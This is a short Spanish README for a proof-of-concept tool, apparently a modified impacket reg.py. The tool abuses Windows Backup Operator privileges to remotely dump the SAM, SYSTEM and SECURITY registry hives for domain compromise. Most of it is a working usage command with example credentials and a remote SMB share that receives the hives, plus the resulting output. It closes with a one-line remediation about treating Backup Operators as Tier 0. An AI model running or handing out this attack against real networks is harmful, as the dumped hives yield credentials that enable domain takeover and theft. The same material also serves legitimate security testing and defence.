Copia de seguridad del registro de Backup Operator para comprometer el dominio

Un POC simple que abusa de los privilegios de Backup Operator para volcar de forma remota las hives SAM, SYSTEM y SECURITY.

Créditos de la investigación:

• @filip_dragovic
• Portado del PoC de Windows de @mpgn

Uso

Esta prueba de concepto es una versión modificada de impacket/examples/reg.py y funcionará con la versión más reciente de impacket instalada. Todos los mecanismos de autenticación de impacket compatibles funcionarán.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Remediación:

Trate al grupo de dominio Backup Operators como a los Administradores de Dominio y otros recursos de Tier 0.